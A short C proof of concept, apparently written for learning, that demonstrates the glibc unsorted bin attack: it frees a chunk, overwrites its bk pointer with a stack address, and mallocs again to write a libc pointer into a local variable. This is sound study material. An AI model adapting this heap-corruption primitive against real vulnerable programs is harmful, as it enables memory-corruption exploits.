#include <stdio.h>
#include <stdlib.h>

int main(){
		unsigned long stackvar = 0;
		fprintf(stderr,"We want to overwrite a stack variable which value is 0.\n");
		fprintf(stderr,"Stack-> %p: %ld\n",&stackvar,stackvar);
		fprintf(stderr,"Malloc our first chunk.\n");
		unsigned long *p = malloc(400);
		fprintf(stderr,"Also malloc one more to avoid the first one consolidating with top chunk!!!\n");
		malloc(500);
		fprintf(stderr,"Free......\n");
		free(p);
		fprintf(stderr,"How about look our first chunk's bk ptr which is in the unsorted bin now?\n");
		fprintf(stderr,"bk ptr: %p\n",(void*)p[1]);
		p[1] = (unsigned long)(&stackvar-2);
		fprintf(stderr,"Then overwrite the bk ptr with our target address - 0x10!\nThen, malloc again~~\n");
		malloc(400);
		fprintf(stderr,"In this time, you have change the value of stackvar -> %p: %p\n!!",&stackvar,(void*)stackvar);
		fprintf(stderr,"Thanks for hardowrking of Shellphish,I also craft a code for myself to understand> < \n");
		return 0;
}
